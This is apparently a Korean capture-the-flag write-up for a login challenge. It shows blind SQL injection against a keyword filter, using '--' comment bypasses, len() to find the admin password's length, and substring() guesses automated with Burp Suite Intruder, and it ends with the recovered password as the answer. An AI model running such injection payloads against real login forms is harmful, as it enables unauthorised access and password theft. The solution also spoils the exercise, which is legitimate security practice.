22번 문제
문제 : SQL Injection을 푸는 문제임.
개발자 도구 확인 :
guest / guset 는 아마 id랑 pw로 추측
admin의 비밀번호를 찾는게 목표
id : guest, pw : guest로 로그인해보니 아래처럼 결과가 나옴.
' or 1=1'을 시도해봤는데 아래처럼 'No hack'이라는 글자가 나옴...
근데 확인해 보니까 필터링된 키워드임.
1. 주석 구문을 활용
한줄 주석 가능한 문자
MYSQL | Oracle, MSSQL | MariaDB |
# | -- | --, # |
#, @는 모두 필터링되고, -- 만 가능.
id : guest'--'
pw : 1
넣은 결과
'OK guest' 라는 결과가 뜸.
admin으로도 해보았는데 성공!
id : admin' and 1=1--
2. len 함수 활용
id에 admin' and len(pw)>1-- 를 넣으니 로그인 성공함.
admin' and len(pw)>11-- 은 False
admin' and len(pw)>=10-- 은 성공
즉, 비밀번호는 10글자임을 알수 있다.
3. substring 함수 활용
이것저것 시도해보다가 righ, left는 필터링되었지만, substring은 필터링 키워드에 없는 것이 확인되었다.
우선, substring이 되는지 여부를 확인하기 위해서
id를 활용해서, id의 첫번째 글자 1글자가 'a'인지 확인하는 구문 (substring(id,1,1)='a')을 적는다.
admin' and substring(id,1,1)='a'--
결과는 성공!
admin' and substring(pw,1,1)='여기'--
위의 부분을 a-z,0-9,A-Z을 넣어본다..
하나씩 치기는 귀찮으니
Burp Suite의 Intruder 기능을 이용한다.
- payload 설정할 변수 :
- payload 설정
결과 :
이를 통해 비번의 첫번째 글자가 대문자 N이라는 것을 알 수 있음.
이런 식으로 10번만 반복
admin' and substring(pw,2,1)='여기'--
두번째 결과 : 1
세 번째 결과 : c
네 번째 결과 : 3
다섯 번째 결과 : B
여섯 번째 결과 : i
일곱 번째 결과 : l
여덟 번째 결과 : n
아홉 번째 결과 : l
10번째는 알파벳과 숫자로만으로 안돼서 특수문자 추가해서 진행했더니 그 결과가 ) 였다.
열 번째 결과 : )
정답 : N1c3Bilnl)